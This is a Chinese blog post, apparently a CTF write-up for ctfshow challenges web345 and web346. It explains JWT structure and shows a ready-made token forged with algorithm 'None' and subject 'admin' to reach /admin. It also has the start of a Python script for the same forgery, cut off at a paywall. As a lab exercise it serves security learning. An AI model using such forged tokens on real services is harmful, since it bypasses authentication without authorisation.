可以先了解下jwt
jwt由三部分组成header、payload、signature
header示例
{
'typ': 'JWT',
'alg': 'HS256'
}
payload示例
{
"sub": "1234567890",
"name": "John Doe"
}
signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header (base64编码)
payload (base64编码)
secret(密钥)
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。
这三部分用.连接起来就是完整的jwt了。
jwt攻击参考文章https://xz.aliyun.com/t/2338
web345
jwt解密网站https://jwt.io/
这个题我们解密发现他没有第三部分,所以也就用不着知道他的密钥了。直接每一部分base64然后用.连接就可以了。
第一部分{"alg":"None","typ":"jwt"}base64编码后是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0(去掉等号)
第二部分[{"sub":"admin"}]base64编码后是W3sic3ViIjoiYWRtaW4ifV0
所以把原来的jwt修改为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0然后访问/admin即可
web346
将算法改成none,user改成admin
import time
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1610432484,
"exp": 1610439684,
"nbf": 1610432484,

本文详细介绍了JWT(JSON Web Token)的结构,包括header、payload和signature,并展示了如何解码和修改JWT。同时,提到了JWT的安全风险,如无算法攻击、爆破攻击,以及私钥和公钥的使用。文中还提供了相关的攻击参考链接、解密工具和代码示例,强调了正确使用JWT和设置密钥的重要性。
最低0.47元/天 解锁文章
1744





